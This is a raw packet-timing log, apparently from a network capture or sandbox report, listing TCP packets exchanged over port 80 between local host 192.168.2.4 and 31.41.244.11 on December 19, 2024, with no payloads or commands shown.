Dec 19, 2024 20:11:13.589984894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.590038061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.590097904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.590960026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.591017008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.591140032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.591243029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.591979980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.592032909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.592071056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.592133045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.593036890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.593097925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.593147039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.593213081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.594086885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.594150066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.594285011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.594352961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.595261097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.595366955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.595427990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.596240044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.596342087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.596400976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.597246885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.597524881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.597589016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.598483086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.599169970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.599234104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.599446058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.599747896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.599826097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.600447893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.600506067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.600568056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.601488113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.601509094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.601540089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.602046967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.602502108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.602566004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.603018999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.603575945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.603653908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.603678942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.603764057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.604602098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.604866982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.604928017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.605644941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.605711937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.605792046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.606713057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.606784105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.607089043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.607748985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.607810020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.608172894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.608226061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.608798027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.608916998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.608978033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.609879971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.609935999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.610021114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.610140085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.610964060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.610971928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.611028910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.612004995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.612067938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.612970114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.613121986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.613128901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.613181114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.614068985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.614209890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.614284039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.615144968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.615309954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.615372896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.616188049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.616257906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.616403103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.616457939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.617253065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.617405891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.617492914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.617542982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.618307114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.618398905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.618484974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.618546009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.619350910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.619415998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.619577885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.619645119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.620471954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.620522022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.620563984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.620615005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.621450901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.621514082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.621601105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.621650934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.622528076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.622586966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.622862101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.622946024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.623564959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.623625994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.623714924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.623797894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.624593973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.624672890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.625000954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.625053883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.625617027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.625715017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.770474911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.770611048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.770693064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.771003962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.771060944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.771162033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.771996021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.772006035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.772063017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.772125959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.772206068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.772770882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.772855043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.772886992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.772945881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.773674011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.773731947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.774360895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.774435043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.774732113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.774807930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.775155067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.775211096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.775787115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.775841951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.776230097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.776293993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.776897907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.776963949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.776994944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.777045012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.777961969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.778042078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.778091908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.778146029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.778990984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.779047012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.779184103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.779268026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.779999971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.780056000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.780127048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.780179024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.781060934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.781112909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.781208992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.781310081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.782249928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.782316923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.782334089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.782398939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.783258915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.783374071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.783400059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.783453941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.784370899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.784427881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.785183907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.785238028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.785527945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.785537958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.785590887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.786470890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.786534071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.786861897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.786910057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.787393093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.787556887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.787573099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.787647009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.788431883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.788506985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.788563013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.788619995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.789499044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.789551020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.789720058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.789810896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.790783882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.790857077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.790923119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.790975094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.791595936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.791646957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.791888952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.791939020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.792633057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.792682886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.792891979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.792948961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.793705940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.793761015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.794182062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.794231892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.794785023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.794792891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.794845104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.795793056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.795856953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.795901060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.795948982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.796931982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.796993017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.797065020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.797113895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.797900915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.797954082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.798079967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.798134089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.798999071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.799107075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.799171925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.800090075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.800209045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.800268888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.801085949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.801172972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.801388979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.802002907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.802145004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.802222013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.803205967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.803219080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.803297997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.803402901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.803478956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.804217100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.804277897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.804352999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.804408073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.805293083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.805389881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.805665970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.805732965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.806318998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.806402922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.806520939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.806603909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.807373047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.807451010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.807529926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.807585001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.808478117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.808552027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.808672905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.808758974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.809506893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.809564114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.809726954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.809777975 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.810592890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.810655117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.810741901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.810822964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.811594963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.811649084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.812339067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.812391043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.812803030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.812870979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.812989950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.813041925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.813733101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.813791990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.813987970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.814042091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.814820051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.814876080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.815007925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.815104008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.815890074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.815944910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.816240072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.816289902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.816874027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.816927910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.817048073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.817105055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.817960978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.818028927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.818484068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.818536997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.819051027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.819099903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.819163084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.819264889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.820039988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.820094109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.820108891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.820158005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.821070910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.821120977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.821840048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.821919918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.822141886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.822227955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.822897911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.822957993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.823261023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.823271990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.823318958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.824292898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.824347973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.824569941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.824634075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.825269938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.825347900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.962529898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.962708950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.962749958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.962829113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.963038921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.963155985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.963171005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.963262081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.964155912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.964215994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.964291096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.964348078 CET	49768	80	192.168.2.4	31.41.244.11
